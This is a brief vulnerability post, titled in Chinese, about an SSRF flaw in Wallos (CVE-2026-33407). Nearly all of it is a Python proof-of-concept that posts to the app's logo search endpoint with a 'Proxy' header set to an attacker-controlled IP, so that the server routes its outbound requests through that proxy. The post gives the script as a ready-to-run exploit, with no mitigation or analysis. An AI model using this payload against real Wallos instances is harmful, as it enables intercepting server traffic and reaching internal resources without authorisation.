CVE-2026-33407 Wallos存在SSRF漏洞

import requests # Target URL of the vulnerable Wallos instance target_url = "http://<target-ip>/endpoints/logos/search.php" # The vulnerability allows setting the proxy via environment variables. # In many CGI/FPM setups, the 'Proxy' header sets the HTTP_PROXY env var. headers = { "Proxy": "http://<attacker-controlled-ip>:8080" } # The server performs DNS resolution on the search term. data = { "search": "example.com" } try: response = requests.post(target_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("If the server resolves 'example.com' via the attacker's proxy, the exploit is successful.") except Exception as e: print(f"Error: {e}")